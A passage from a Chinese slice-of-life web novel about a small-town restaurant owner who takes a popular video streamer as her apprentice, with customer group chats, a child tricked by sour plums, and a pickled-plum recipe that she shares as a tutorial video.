“下次记得早点来，”江映槐给他推荐，“除了那两样，今天新出的竹筒饭也是非常不错的，或许你可以试试。” 说实话，余承是看到蛋挞视频里拍到的那些菜才来的。 而今天新出的竹筒饭自然不在上面，余承也怕踩雷。 毕竟，一家饭店，总不能什么都做得那么好吃吧？ 不过，既然江映槐都推荐了，试试也无妨，反正来都来了。 余承点完单，也没去找座位，就站边上跟江映槐唠嗑，他饶有兴致：“诶你怎么到这来了？是不是来这取材拍新视频来了？” 余承显然没把她跟来这工作联系起来。 笑话，就江映槐那个粉丝体量，哪需要来这工作。 然而下一秒，江映槐却说：“你没看到我现在在干嘛吗？” 她说着，手下娴熟地在机器上输入顾客刚点的菜。 “在帮点单，收钱啊，”余承嘴角一僵，“……你不会是来这打工的吧？” “是啊，主要是为了来拜师。” 余承自动忽略了后半句，沉默了一瞬：“G站的收益降那么多了吗？连你都要出来打工了，还是在这家小馆子当收银员？” 江映槐正要纠正，刚点完单的顾客却也兴致冲冲地凑过来—— “你们在聊什么？什么咕咚咕咚，什么up主？拍什么视频？” 这位顾客刚刚在后面听到就觉得有瓜，奈何有点听不懂他们的聊天，现在好不容易上前点完单，再也按捺不住心底的好奇因子了。 余承：“她是G站上的一个up主，你不知道吗？” “不知道，叫什么名字啊我去搜搜。” “‘小槐不骂人的第一天’。” 顾客一搜，震惊到瞳孔都睁大：“我去！两百多万粉丝啊？！” 他这一声吼，其他顾客也围了上来： “什么什么？什么两百多万粉丝？” “就是这个新来的女生，她是G站上的一个up主，有两百多万粉丝呢，好牛，先点个关注。” “我来搜搜看，丢，还真是哎，好强，她做的糕点是真好看哇，我也来点个关注。” “强的不是老板吗？这么牛的人都能心甘情愿来她店里打工哎，老板做的菜果然能俘获所有人的心。” …… 一瞬间，店内所有人都知道了江映槐的另一个身份。 因为他们这个地方基本见不到百万粉丝的网红，这于他们而言，是一件非常新奇的事。 这可是活的百万粉丝网红哎，就站在他们面前，这种感觉就像突破了次元。 于是，他们好奇的好奇，拍照的拍照。 江映槐站在那人都麻了，顿时觉得自己成了动物园里的猴子，任人围观，还要维持现场秩序。 有人把这件事发到了顾客群上。 zz：[我们的宝藏小馆也是出息了，都有百万粉丝up来打工了。] 谭清莹：[我就说我之前看到她的第一眼怎么觉得那么眼熟！原来是我在G站上看过，哎你们看了她的视频没？不得不说她做的糕点真的好看，而且后面的翻车环节也好好笑。] 有种打死我：[刚去了解了一下，原来她是靠骂人一战成名的，我去，战斗力爆表啊。] 111：[这不正好？老板看上去那么柔弱好欺负，刚好来个小姐姐可以保护她。] 萝卜糕：[有道理。] 每天都好困：[好像发现了一个问题，你们仔细想想，她来了之后，山茶花酥就增量了哎，那些山茶花酥会不会就是她做的？] 焦虑个P：[是她做的也没什么吧，吃起来味道跟老板之前做的也没什么差别啊，好吃不就行了。] 没出息：[你们就这点出息？你们想啊，既然小槐她会做那么多糕点，我们不是可以顺势叫老板多上点其他糕点吗？我看其他花酥也超级漂亮的，小孩子才做选择，我们大人全都要！] 等日落：[好像是诶，就喜欢跟你们这群鬼点子多的人当吃友。] …… 眼看着四周围着的人越来越多，“罪魁祸首”余承心虚地摸了摸鼻子，瞅这样子江映槐也没空跟他唠嗑了，他便老实找了个位置坐下。 余承刚在收银台那里耽搁了些时间，所以他才坐下，点的菜就被端上来了。 椒麻鸡和番茄牛腩面跟蛋挞视频里的一模一样，果然没让他失望。 余承深深吸了口气，贪婪地闻着这股香。 靠，真的好香！ 余承等不及了，拿起筷子就吃了起来。 舌尖触碰到从未尝试过的美味，余承蓦地瞪大了双眼。 太好吃了，每种食材各有各的风味，搭配上恰到好处的调料，简直比余承这辈子吃过的所有东西都要好吃。 难怪蛋挞在视频里会吃得那么忘我，甚至忘了拍摄，还得重新补拍。 起初余承只觉得离谱，然而现在他却觉得太合理了。 面对这种级别的美食，谁能不迷糊啊？ 想到这，余承拿出手机对着桌子上已经动过的饭菜拍了张照。 他是个直男，对照片的拍摄手法角度打光之类的没什么讲究，随手一拍，拍好了就随手发到了蛋挞那个视频底下的评论区还有顾客群。 [朋友们，我已经到庄记替你们尝过了，蛋挞的质量果然在线，这次探到的店铺非常好吃，不来后悔一辈子！] 蛋挞那个视频的发表时间距离现在有一段时间了，播放量虽然已经破五百万，却还在不停上升，所以依旧有不少点进视频观看，自然也有人看到了余承新发表的评论： [朋友，你这拍照技术，是来安利的还是来劝退的？] [吓得我重新看了眼up主发的视频，这就是买家秀跟卖家秀的区别吗？] 评论区也有蛋挞的粉丝到庄记吃过，他看到余承发的图片后也有点绷不住了：[哥，要不你还是把这张照片删了吧，别砸人家招牌了，虽然你的出发点是好的，但我建议你先别出发。] 看到后的余承：“……” 虽然很不想承认自己的拍照技术垃圾，但余承还是默默删掉了。 当另外两种菜式吃得七七八八了，余承才把目光放在竹筒饭上。 竹筒饭是用糯米做的，余承就不太爱吃糯米，觉得太粘腻，也太撑了，老是才吃了一点点就觉得饱得不行。 不过装在竹筒里的米饭泛着油亮的光泽，还有其他配菜：青豆、玉米粒、腊肠等色调也都亮亮的，很能勾起人的食欲。 既然买都买了，余承倒是愿意尝一点，吃不完的打包带走就好了。 饱满的糯米亮晶晶的，还有那青翠的豆子和金黄的玉米粒，一口下去，咸香中带有丝丝清甜。 其中，还有扑鼻的竹子清香，清新又解腻。 这味道！ 唔……好入味松软的米饭，好香！ 竹筒饭里带着翠竹的香味，跟余承想象中的完全不一样，一点都不腻。 余承甚至怀疑地看了眼米粒的质地：“好吃！这真的是糯米吗？为什么一点都不腻？” 余承原本只想浅尝一点的，结果没想到吃起来就停不下来了，一吃就是一大半。 要不是前面吃了别的菜，这份竹筒饭肯定会被他吃个精光。 到最后，桌子上还剩了些残羹，他拿来打盒打包带走。 下午，余承又提前了一段时间到庄记门前排队，这次来得早，什么菜式都还有。 念在中午还有点剩菜剩饭，余承这顿没点多少，就买了心心念念的菊花豆腐和山茶花酥，这一吃，更舍不得走了。 他想就在溪城住下。 好羡慕溪城的人啊！ * 中午因为江映槐的身份，在店铺里引起了一点小骚动。 她为此过意不去，便找了庄凝冬道歉，并决定在此后的日子里都戴上面具干活。 庄凝冬想了下那个画面：“……” “也不全是你的问题，是我没考虑周到，不过戴面具就不必了，”庄凝冬说，“既然已经有顾客知道了，一传十十传百的，没必要再多此一举作掩饰了，只是辛苦你把店里的秩序管好。” 江映槐点点头：“一定。” 后面，江映槐又问，她有没有给店里带来负面影响。 毕竟她在网上可是靠骂人火的。 唉，早知道以前就不骂那么多人了。 庄凝冬看了眼群消息，嘴角弯起一个浅浅的弧度：“没有，他们都很喜欢你，还让你多做些新糕点呢。” “那，要做吗？” “不急，你才刚来，不用一下子忙活太多。”庄凝冬说。 虽然江映槐不怕忙活，但也为能有这种体谅下属的上司感到心头动容。 太好了，这么好的老板打着灯笼都难找。 这一趟溪城真是来得太对了。 傍晚忙完后，江映槐在后厨磨蹭了一阵，按照庄凝冬上次说的要求切出了标准的葱花。 没办法，这都不是放水，而是放海了。 庄凝冬当然不会食言。 拜师收徒是正事，庄凝冬查过现代的拜师礼仪，又参照了自己的过往，制定了一副新流程跟江映槐说了下。 江映槐对此没有异议。 饭间，奶奶得知自家孙女要收徒了，又拿出她那本黄历开始挑起了吉日。 时间定在了三天后。 江映槐作为徒弟，要准备六礼束脩：芹菜、链子、红豆、红枣、桂圆、干瘦肉条。 过程中，需要江映槐行叩首礼，叩首礼过后，庄凝冬收下江映槐献上的六礼束脩，其实到这就算成了。 不过在庄凝冬的记忆里，以前，她的师父还会亲自为她做一桌子菜。 当时的拜师的一切流程都是在庄凝冬从小生活到大的村子里办的。 包括师父给她做的那顿饭也是。 她家以前穷，村子更没什么珍贵的食材，师父用的都是些普通到不能再普通的食材，做的也是顿家常菜，但却是无法复刻的美味。 那天那景那情那人，都无法复刻。 庄凝冬敛去那点无端升起的低落与缅怀，以师父的身份也给江映槐做了顿饭。 也是一顿普通的家常菜，但胜在有意义。 “虽然每天都是饭都是师父做的，但这顿最好吃了。” 江映槐今天的嘴角就没下来过。 身份有了转变，庄凝冬只觉得肩上的责任更重大了。 她看了眼窗外的月亮。 师父如果知道她开始收徒弟了，也会为她高兴的吧？ * 余承在溪城待了没几天，不得不回去了。 他虽然是个比较闲的富二代，但不管怎么说，手里也经营着一家俱乐部，尽管不用他时时刻刻看着，但偶尔也是要到一下的。 今天便是回程日。 坐上回家的高铁，余承心中万般不舍。 啊啊啊回去就吃不到庄记了，好想扎根在溪城。 不行，得去蛋挞的群里有人诉说一下。 我大把钱：[你们有人来吃过庄记了吗？快来，巨好吃！是我这辈子吃过最好吃的东西了。] [还没，怎么了？工作好忙啊，一直不知道以什么理由请假。] 我大把钱：[想让你们也尝一下吃过绝世美味后想一辈子留在这里却又不得不回去工作的那种要死不活的心情。] [……有钱人的心都这么肮脏吗？] [‘也’？怎么说，难道你现在就是这种心情？] 要不是还在高铁上，余承真想点根烟。 我大把钱：[坦白说，我甚至想在溪城买套房子住下。] [有这么夸张？] [我也觉得太夸张了，一家饭馆而已，真的好吃的话下次再去呗，天天吃也会腻吧。] [是真的，我就去吃过了，真的特别好吃，别说每天了，每顿吃都不会腻。] 我大把钱：[不止我这样，已经有人千里迢迢去到溪城住下了，不仅如此，甚至打入了庄记内部，当起了服务员。] 其他人：[？？你朋友？] 我大把钱：[这倒不是。] [那你怎么知道？] 我大把钱：[我在网上见过她，说不定你们也认识，就是那个‘小槐不骂人的第一天’，也是G站的一个up主。] [我听说过她，好像也是个百万粉丝级别的up了吧，怎么可能去一个饭馆打工？] 有人在看乐子，而有人…… [我是小槐骨灰级粉丝了，你说的绝对不可能，你是不是认错人了？她怎么可能去当一个服务员？] [额……你这话，好替你偶像招黑，什么叫怎么可能去当一个服务员？怎么，当服务员是什么很见不得光的事吗？还是说她的身份有那么高贵，不能干服务行业？] [不是，楼上的，你有点太敏感了，你说的那两个都不是原因，主要是她脾气很不好，就不适合干这行，我都怕她分分钟把人骂跑。] [这还是最坏的影响，我就怕她搞砸了人家的生意然后别解雇了，谁家的百万up会被解雇啊，丢不起这个人，不行，我得去那边催催，让她别去丢人现眼了，也就我们粉丝心甘情愿给她骂。] [哈哈哈哈不行了，我脑补了一下，小槐在那当服务员哈哈哈，怎么当，是这样吗？人家顾客点单磨蹭了点，她骂顾客傻逼能不能快点？哈哈哈真的不会被打吗？] [前面的真是人才啊，我现在笑得肚子疼。] 我大把钱：[……] 我大把钱：[是真的！我都跟她说话了，她自己也承认了，真的是她。] [不是我们不信你，实在是……想象不出来她在那当服务员，而且你得拿出证据啊，你有拍照吗？] 我大把钱：[……没有。] [这不就是咯。] 我大把钱：[我平时都没有拍照习惯，没拍也正常吧，算了，你们爱信不信。] 谁知，余承这样一说，其他人倒是换了个态度：[小槐不会真去打工了吧？话说她好像有段时间没更新视频也没直播了，之前好像都没断更过这么长时间吧？] 有人自告奋勇：[这样吧，容我挑个时间，前去一探究竟。] 第53章 第53章 由于江映槐从没试过这么长时间不更新，她的粉丝们除了玩梗催更外，更多都在认真关心： [小槐你人呢？你去哪了怎么突然不更新了？赶紧回来吧没有你我可怎么活啊？] [这么久不更新不会突然出什么意外了吧？（没有恶意诅咒的意思，是真的怕有意外发生）] [真的蛮害怕的，不仅不更视频，在其他美食up下面也抓不到她评论的身影了，她这个号最新的动态都追溯到前不久把直播回放删光那会儿了。] [大家不用太担心，应该没出什么意外，我在蛋挞粉丝群那看到有人说见到小槐本人了，在溪城的一家小饭馆当服务员呢。] 其他看到的粉丝：[？？？] [你说当什么？当服务员？不是我不信，实在是太过荒谬了。] [确实有点离谱了，就她那阴间作息，肯老老实实起床上班吗？还是得每时每刻都要腆着笑脸的服务业，我真怕她反手就把客人当面团摔了。] [虽然我也觉得很离谱，但人家一不引流二没带货，也没必要撒谎吧，更何况，去当服务员总比下落不明好。] [我觉得还是得尽快落实小槐的去向，要不我们试着联系平时跟小槐互关的那些up主，看看他们知不知道小槐的下落。] [别急，我已经看到有人说会去溪城核实小槐是不是在那了，到时候我跟一下那个人的动态，有消息第一时间告诉你们。] [我觉得等消息的同时也可以试着跟其他up联系，这两者反正不冲突，总比坐着等好。] [同意。] …… 就在江映槐的粉丝决定好要采取措施时，江映槐本人对此却毫不知情，她还沉浸在拜师成功的喜悦里，春风满面的，连走路都飘了起来，全然忘了自己在网上还有一群粉丝。 每天都干劲满满。 早到晚退，几乎把庄记饭馆当成了她的第二个家。 庄凝冬看在眼里，也劝过江映槐让她不用那么拼，要注意休息。 不过江映槐不在乎：“没事的，我现在一点都不累，比牛还能干。” 庄凝冬：“……” 既然这样，那便随她了。 这天傍晚，做完最后一个单子的菜，庄凝冬刚出院子准备歇会儿，结果就遇上了任婶过来送李子。 圆滚滚的李子装了满满一簸箕，有些青翠欲滴，有些红得熟透了，里头还有藏了点叶子，一看就是刚从树上摘下来的。 庄凝冬拿起一个随手擦了擦就咬了一口。 酸酸甜甜的汁水在嘴里爆开，口感清脆，开胃极了。 “唔……汁水丰盈又新鲜，好吃。”庄凝冬眯了眯眼睛：“谢了啊任婶。” 任婶摆摆手，说了几句客套话就走了。 庄凝冬端着这一簸箕李子在后院的水龙头处坐下，盛了一盆子清水准备将它们都洗干净。 李子有点多，她打算做个腌李子。 庄凝冬刚坐下，许爷爷就带着孙子阳阳过来了。 他们来拿预定好的饭菜，江映槐熟门熟路地提了个袋子出来，许爷爷他们拿到饭菜后，阳阳却不想走。 他站在那里看庄凝冬洗李子。 清水很透彻，洗过的李子更干净了，圆溜溜的，莹润饱满，表面泛着一层诱人的光泽感，光看着就让人很想吃。 阳阳咽了咽口水，他记得这种果子很酸，明明他也很怕酸，但现在就是莫名想吃，估计是太漂亮了，一颗颗，跟玻璃球一样亮。 不过阳阳不太好意思直说，只好扯着其他话：“凝冬姐姐，这种果子好吃吗？” 没等庄凝冬回答，一道带笑的苍老声音便率先响了起来： “好吃，这种果子特别好吃，可甜了。” 是梁爷爷。 不知道什么时候来的，他说着，人上前来，弯腰，手往装着洗好李子的篮子一伸，随手拿了个青中带红的李子。 跟庄凝冬打了声招呼就站旁边吃了起来。 李子小，梁爷爷是整只扔进嘴里吃的，边吃还边露出格外好吃的表情，对阳阳说：“好甜，真甜，又脆，特好吃。” 梁爷爷说完，又拿了一个引诱阳阳：“阳阳啊，快过来拿一个尝尝。” 梁爷爷那神情不假，阳阳早就等不及了。 许爷爷看着自家孙子这傻乎乎的模样，简直没眼看。 奶奶笑得慈祥，也没提醒阳阳。 庄凝冬和江映槐则都在憋着笑。 在大伙的期待下，阳阳接过青溜溜的李子，才咬下去，果肉都还没咬断，也就触碰到了一点汁水，就被酸得整张小脸都皱起来了。 四周响起笑声，阳阳才意识到自己被耍了。 “梁爷爷你骗我！” 阳阳拿着那只李子，屁颠屁颠回去找许爷爷撑腰，许爷爷说他是自己蠢才被骗的，懒得理他。 江映槐瞧见，心里痒痒的，也忍不住使坏想要逗这个小屁孩。 于是她在篮子里瞄了半天，挑了一个一半青一半红的李子出来。 用红的一半对着阳阳，对他说这个红红的熟透了不会酸。 有前车之鉴在，阳阳这次有点谨慎。 不过这个姐姐长得好看，应该不会骗人，而且李子对比梁爷爷刚刚给他的那只，确实是红的。 于是阳阳再一次接过，结果不出意料…… “还是酸的……你骗我！”阳阳皱着小脸。 四下再次响起笑声，阳阳迷茫，难道他又被耍了？ 可是这李子确实熟……熟个屁！ 阳阳低头一看，才发现只有一半是红的，另一半有青青草原那么青！ 连着被耍了两次，阳阳觉得很没面子，但又不知道怎么反击，只好干巴巴地哼了声：“我以后再也不会理你们了！” 不理人，是他们这个年纪能说出的、最严重的话了。 可江映槐只觉得更有趣了，笑得都直不起腰。 最后还是庄凝冬笑着哄了阳阳，说给他做个不酸的李子，让他吃完饭做完作业后过来拿。 阳阳这才觉得心情舒畅了点。 这个小插曲过后，许爷爷他们都回去吃饭了。 庄凝冬则在处理李子。 一个个新鲜饱满的李子被压得裂开几道缝，分别扔进了两个大盆里，各自腌制。 庄凝冬打算做两种口味的腌李子，一种是辣腌李子，一种是话梅李子。 两种做法都不难。 辣腌李子是将压爆的李子加盐加糖腌制后倒掉腌出来的水分，最后加上辣椒面拌匀就可以了。 话梅李子则需要另外起锅加入**糖和话梅煮一锅水，倒入腌过并且清洗好的李子里，让李子泡上一晚上，就可以吃了。 放入冰箱冷藏过后效果更加。 话梅李子还没入味，江映槐便只能吃辣腌李子了。 经过腌制，李子已经没那么酸涩了，辣椒面的香辣和李子的酸甜相互交融，形成一种特别的风味和口感，又脆又酸又甜又辣，层次感非常丰富。 而且汁水很多，让人口齿生津。 “好好吃～”江映槐吃了一个又一个，根本停不下来：“好多汁，酸酸甜甜的刚好能解腻消食。” 庄凝冬也往自己嘴里塞了一个，然后开始分装李子，准备送点给邻里街坊。 江映槐看见后也顾不得吃了，连忙把正只李子塞进嘴里，三两下洗干净手就去帮忙。 “师父，我来帮你。” 起初庄凝冬还不太适应听一个年纪跟自己相仿的女生喊自己师父，不过次数多了以后倒是有点习惯了。 “这份是给初曼姐的，这份……” 季初曼刚搞卫生从外头进来：“我那份不用分太多，我妈跟我女儿她们都不太能吃酸。” “不酸的，”庄凝冬说着用勺子盛了一个送到季初曼嘴边，“不信你尝尝。” 季初曼犹豫了一秒，张嘴吃掉，随后神色一顿，眼睛亮起来：“真的哎。” 李子的那股酸涩被去除得七七八八了，剩下的只有酸甜，还辣辣的，很入味，让人吃了还想吃。 “那，还能多分一点吗？”季初曼觉得季女士和圆圆也会喜欢吃的。 庄凝冬：“可以呀。” 不够的话再买来做就好了。 后面庄凝冬拿了只给奶奶吃，奶奶摆摆手说牙口不好，不过还是接过来抿着那股酸甜辣味慢慢嚼。 中途许奶奶带着阳阳过来拿李子，阳阳怕酸，谨记着庄凝冬的叮嘱，一回家就把那盒泡有水的李子放进冰箱，一口没动。 下午被耍了两次，导致阳阳现在很谨慎，他戳起一只最红的且蘸了辣椒粉的李子，先是放到鼻子前闻了闻，又伸出舌头舔了舔，才敢张嘴咬。 不过咬也没咬多大口。 这还是许奶奶第一次见他这么斯文的吃相，笑了他一声：“出息。” 阳阳的注意力都在李子上，没空理奶奶，发现真的没下午吃的那么酸后，咔吱咔吱地嚼了起来。 饱满多汁的果肉在口腔中爆开，迸发出清新解腻的味道，异常可口。 阳阳吃得都停不下来了，最后要不是许奶奶态度强硬地阻止，阳阳非得今晚吃完不可。 晚上，阳阳惦记着这股酸甜辣的味道，就连入睡前，嘴巴都还在分泌着唾液。 第二天一早，阳阳实在是太馋了，趁奶奶不注意，偷偷拿袋子装了点李子塞进书包带回了学校。 最近赵爷爷家的包子变得好好吃，阳阳拿着总是等不到回学校，在路上就吃完了。 于是，回到学校时，他看着其他同学在吃早饭，而他没有东西吃，又开始馋了。 就在阳阳准备厚着脸皮问同桌要只饺子时，他突然想起自己书包里的李子。 阳阳立马翻出来，解开绳结就这样拿着，跟吃包子一样吃了起来。 阳阳没有将李子分装，两种李子都装在了一起，泡了一晚上水的李子表面更为光滑，此刻混了一星半点辣椒面，虽然还是带了一丢丢辣味，不过依旧能吃出来这个口味的李子酸甜味更重。 似乎也更多汁。 冰了一晚上还没彻底解冻，吃起来沁凉沁凉的，也很好吃！ 也不知道凝冬姐姐到底会什么魔法，能将同样跟青青草原一样绿的酸李子变得那么甜。 阳阳吃得忘乎所以，丝毫没注意到他身边围了一圈同学。 “阳阳，你吃的这个是什么呀？看起来好好吃哦。” “我知道这个！这个是李子！特别酸，一点都不好吃。” “可是我看阳阳他吃得很香啊，看着一点都不酸。” “阳阳，我妈妈说了，好孩子不能吃独食，你能不能分一个给我吃吃？” …… “不给。” 阳阳想也没想拒绝了。 哼，他才不要分给他们吃。阳阳记仇地想。 起因是有次，他吃过庄凝冬做的干炸丸子后，在作文里写到希望每天都能吃到非常非常非常好吃的丸子！ 还希望快点长大，就可以一次吃多多的丸子了！ 结果就是，被同学们看到后无情嘲笑了。 笑他好幼稚，别人想快点长大都是希望能当医生当警察为人民排忧解难，只有他是为了能吃多多的丸子。 阳阳梗着脖子，说那是他们不懂，要是他们吃过，他们也会很喜欢的。 同学们当然不信，并十分肯定地说自己才不会。 当时阳阳憋着一股气，心里一直有个想法，想叫凝冬姐姐再做一次干炸丸子，好让他带回来给这帮土鳖尝尝的。 不过当时人群中有人灵魂发问：“为什么要吃多多的丸子？多多得罪你了吗？不能吃其他人的丸子吗？” 这理解能力实在太过清奇，阳阳觉得好笑的乐子出现了，转头便把让庄凝冬再做一次干炸丸子的想法抛到九霄云外。 其实阳阳后来有想起来过，还为此软磨硬泡了爷爷奶奶好一会儿，一直得到否定的答案后他就彻底死心了。 却还是记着这个仇。 让他们笑他幼稚，哼！ 阳阳不管他们，继续吃。 “阳阳你就分我一个吧，我知道你最大方了！” “阳阳，你现在分我一个，下次我有好吃的也会分给你的。” “阳阳……” 阳阳被他们嚷嚷得烦，心中很快有了个主意。 他抬了抬下巴，故作商量道：“这样，我现在分给你们吃后，你们可就不许再说我幼稚了。” 一群小豆丁被馋得口水都快要流下来了，此刻还管什么呢，只要有吃的先答应再说。 阳阳让他们排好队一个个来拿。 眼瞅着李子越来越少，阳阳的心也越来越痛，可是一想到在这之后，就没人会说他幼稚了，于是咬咬牙，狠起心来。 等只剩最后一个，阳阳护犊子似的：“没了没了，只剩最后一个了，我还要自己吃呢，你们以后想吃就自己去买吧。” 没被分到的小豆丁只好默默离场，而吃到李子的小豆丁则纷纷围着阳阳问他这果子是在哪里买的。 阳阳这才想起来，这份李子根本买不到，因为是凝冬姐姐送的。 得知这个答案，那些小豆丁们都很伤心。 同样伤心的还有阳阳，也不知道还能不能吃到凝冬姐姐做的李子。 早知道就不分给他们了，他们要说他幼稚就让他们说吧，被说又不会少一块肉呜呜呜…… 可惜一切都晚了。 不过没关系，家里的冰箱还有一点。 阳阳想到这，心情才好了些，然而等他放回到家，一开冰箱门，哪里还有什么李子，都被爷爷奶奶吃完了。 阳阳一看，后悔得想哭。 * 中午卖完最后一份食材，江映槐伸了个懒腰，从收银台离开，迫不及待去了后厨拿冰镇过一晚上的李子出来吃。 说实话，早上她就想吃了。 不过一直在忙活，才勉强忍住。 现在活干完了，还不大吃特吃？ 江映槐直接装了一碗话梅李子。 白瓷碗里，青李子浮出一点面，没被糖水彻底没过。 江映槐舀了一只李子放进嘴里。 口感冰凉，酸酸甜甜的，每嚼一口都像戳爆了一个装满水的气球，疯狂爆汁，又脆又爽口。 就连浸泡李子的糖水都非常好喝。 冰镇过一晚上的就是不一样！ 这一口冰冷的液体下肚，江映槐觉得一身的疲惫都消散了。 特别是现在的天已经开始逐渐热起来。 凉凉的，还祛暑。 好吃！ 江映槐一勺一个，就没断过。 李子被咬破的清脆咔吱声，完全不输勺子跟碗壁相碰的声音。 有离得近的顾客听到，立马前来询问。 “这个啊，这个是我师父做的李子，巨好吃！”江映槐语气是掩饰不住的炫耀。 顾客疑惑：“你师父？谁啊。” “啊？哦，就是这家店的老板。我拜她为师了，”江映槐骄傲，“我是她唯一的徒弟。” 顾客眼馋地看了眼碗里的李子，个个果肉饱满，一看就很好吃。 “那这李子是她专门给你做的？我看店里没得卖。” 顾客说着，终于露出艳羡的神情。 在他看来，给老板这样的人当徒弟，肯定能经常吃到老板做的不同食物，这也太香太爽了吧！ “这倒不是，就私下随便做来随便吃吃的，所以没拿出来卖。” 顾客：“可以让我尝几颗吗？” “没问题。” 冰箱里还有一些，刚好现在店里顾客人不多，够分，江映槐问了庄凝冬之后，给现在还在店里的顾客都分了一些。 冰过的辣腌李子清凉爽脆，酸甜辣这三种味道融合得意外和谐，非常好吃。 还有话梅李子也是，泡在酸酸甜甜的水里，完全没了涩味，不仅解腻还解渴。 “好可口的李子，以前吃的李子能把牙酸掉，但是这个被处理过的就不会，好好吃。” “这个汁水，真的好绝啊，好像爱上吃李子了。” “以前一直觉得用辣椒面拌水果非常黑暗，现在一尝，简直打开了新世界大门，太好吃了。” …… 尝过的顾客无一不是好评，更有顾客来仇恨似的拍了张照发到了顾客群上—— [今天运气不错，前往庄记‘探险’，竟意外掉落腌李子，品质：极品，吃过后整个人都神清气爽了。图片.jpg] 其他人：[？？？] [不是，为什么你们这些踩着队伍尾巴的选手永远都那么好运，老是能意外得到庄记的馈赠呢？之前是马蹄糕，山茶花酥，现在又是腌李子，啊啊啊啊嫉妒使我面目全非。] 心平气和：[我不是，别乱说，我好多次都去得很晚，就是没什么菜能让我选的那种，然而没有一次赶上，麻了.jpg] 等日落：[卧槽卧槽，这可是腌李子啊！还是辣腌李子！仙品！我的最爱，我真的要哭了好想吃真的还想吃，现在去还有吗？] 萝卜糕：[这是不是即将要上的新品啊？靠，看我不买爆！] 那位顾客：[我还在店里，帮你们问了一下，不是新品/捂脸，这只是人家私下做来吃的，就一点点解解馋的，没想过要拿出来卖。] 等日落：[？？救命这到底是什么晴天霹雳？我接受不了，为什么不做来卖啊我真的好想买来吃啊，像老板这种不管什么都做得那么好吃的全能型选手，我都不敢想她做的腌李子有多好吃呜呜呜，我还没吃到呢。] 不想上早八：[要上早八我没哭，四级没过我没哭，全宿舍只有我要补考我没哭，老板说腌李子不卖我是真的绷不住了，西湖的水我的泪TAT] 一杯奶茶：[之前没想过，那现在可以再重新考虑的嘛，腌李子的呼声那么高，老板就满足满足我们吧/可怜] 免得一直要那个顾客传话，庄凝冬干脆自己出来回复了：[腌李子真的不会上啦，我看街上都有得卖，你们想吃的话就自己去买吧。] 等日落：[老板你是真不知道自己的手艺和其他人的区别吗？街上那些腌李子跟你做的怎么比啊我真的哭了。] 别惹我：[心碎时刻，早知道今天吃完饭就先别走了。] 111：[老板，既然你不打算卖腌李子，那你能教我们怎么做腌李子吗？] 看到有人这么一问，其他人都惊呆了。 虽然人家自己不靠这个赚钱，但不管怎么说，都是自家的独门配方吧，怎么可能那么轻易透露。 然而更出乎其他人意料的是，庄凝冬竟然同意了！ 庄凝冬：[可以啊，你们想让我怎么教？直接发文字版教程到群里？] 一杯奶茶：[我纯厨房小白，白到不能再白，教程能不能尽量详细点？求求了。] 等日落：[可以拍个视频再附带个文字教程吗？这样比较直观，还方便我们反复观看学习。] 没出息：[对对对，视频加文字最好了。] zz：[附议！！] 谭清莹：[弱弱地问一句，既然腌李子能出教程，那之前的马蹄糕能不能也……如果后续会上线的话当我没问。] 庄凝冬想了想，跟江映槐商量了一下这件事，觉得没问题之后便答应给那群顾客出个腌李子的视频教程了。 至于马蹄糕的教程，也可以顺便拍了。 刚好江映槐就是up主，拍摄剪视频都不在话下。 视频可以发到群里，也可以发到微博上。 不过江映槐建议在G站上也创一个庄记的号，这种教程类的视频可以发到G站上。 第54章 第54章 G站主要是视频类创作，其中的板块五花八门，教学类的美食视频也有不少，庄凝冬之前就是在G站上面跟着别人学的现代美食。 视频发在G站上确实比发在微博上更容易被其他人看见。 庄凝冬一个人没法靠这门手艺赚所有的钱，相较于守着这份独家秘方，她更希望它能被更多人看见。 在江映槐的帮助下，庄凝冬顺利拍好了腌李子和椰汁马蹄糕的教程。 江映槐不愧是专业的，她考虑到庄凝冬这个人，还特意为她量身定做了一种风格，视频是安静的、惬意的，收录了做教程过程中的各种白噪音，细致又绵长，跟她人一样温柔。 创好新号并上传好视频后，庄凝冬没忘通知顾客： [@所有人，腌李子和椰汁马蹄糕的教程都上传好咯，就在咕咚咕咚上面，大家有需要的话可以上去看看，以后如果继续出教程类的视频的话，估计也会上传到G站上，对厨艺方面感兴趣的小伙伴可以关注一下/玫瑰] 等日落：[来了来了！不得不说，老板效率好高哇，给你点个赞。] 有种打死我：[什么意思？是不是说以后还会有关于其他美食的教程？我去这还不赚大发，赶紧点个关注先。] 每天都好困：[关注了也看完了，教程真的可以说是很详细了，不仅有配方比，怕我们不懂重量g的具象化，还特意标明了一个人吃和几个人吃的量，真的太适合我这种厨房小白了。] 阴暗鼠鼠：[我也看完了，视频画风好舒服好治愈，老板讲解过程的声音也太好听了，令人身心舒适到甚至想睡觉，感觉学习压力都变小了。] 群里面大学生居多，在一些大学生还在点关注看视频转发视频给视频点赞的时候，有些大学生已经火速到学校里的水果店买起李子了。 没办法，腌李子实在是太简单了，不需要蒸也不需要煮，加点盐糖腌制再加点辣椒粉搅拌均匀就可以吃了。 像他们这种大学生，也能随时做。 就这一时间段，晚上，既不是课间也不是刚放学，溪大水果店忽然人数激增。 一条街上，在一众印刷店奶茶店文具店里，人群只蜂拥着去水果店，水果店老板虽然觉得奇怪，但面对这洪水般的生意，也笑得合不拢嘴，热络地招待着这些学生。 却发现了一个更奇怪的现象—— 他们只买李子。 李子被堆成了一座小山丘，那些学生就围着那座小山丘挑挑拣拣，其他水果是看都不看一眼。 老板正要向他们推销一些别的水果，就听见有学生问：“老板，你这里还有没有李子的存货？有的话就都拿出来吧。” “有有有。” 老板忙让他们也看看别的水果，结果他们都拒绝了。 老板在心里叹了口气，转身就去里间仓库把剩下的李子都拿出来。 罢了罢了，只买李子就只买李子吧。 搬出来的李子都没来得及倒出来，就被那些学生围着分完了。 老板在一旁看着，心中的疑团愈发大，难不成又出了什么囤李子的热潮？ 实在憋不住了，老板才问了一嘴那些学生，才知道原来是有家饭店出了腌李子的教程，都想着试试呢。 对此，老板表示：不理解，但尊重。 有学生看到老板一副一言难尽的神情，反而来劲了：“老板你有所不知，那家饭馆做的东西特别好吃，有回她家做了腌李子，去吃过的顾客都说特别好吃，可惜人家不卖，我也没吃着，这不，她家一出教程我就迫不及待来买了，老板我建议你也来试试，教程很简单，有手就行。” 那学生说完，还顺便安利了庄记以及庄记的账号给老板。 有其他学生顺势搭话：“得了吧你，做成功了吗就在这口出狂言说有手就行，到时候失败我看你面子往哪搁。” “不是我吹，你的解释要是能有那教程那么详细，你女朋友都不会跟你分手。” “！你他妈……滚吧。” …… 两学生闹腾着买完李子就走了。 